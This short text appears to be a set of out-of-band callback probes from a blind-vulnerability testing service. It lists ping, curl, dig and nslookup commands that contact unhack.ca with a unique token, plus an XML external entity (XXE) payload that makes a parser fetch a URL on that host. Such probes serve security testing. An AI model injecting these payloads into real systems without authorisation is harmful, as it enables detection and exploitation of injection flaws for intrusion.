$ ping -c1 -p 008f64e59e0a7293dd0a04a5f11a6f00 unhack.ca
 

$ curl http://unhack.ca/p/8f64e59e0a7293dd0a04a5f11a6f
 

$ dig 8f64e59e0a7293dd0a04a5f11a6f @unhack.ca
 

$ dig 8f64e59e0a7293dd0a04a5f11a6f.ns.unhack.ca
 

C:\> nslookup 8f64e59e0a7293dd0a04a5f11a6f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8f64e59e0a7293dd0a04a5f11a6f">]>
    <foo>&xxe;</foo>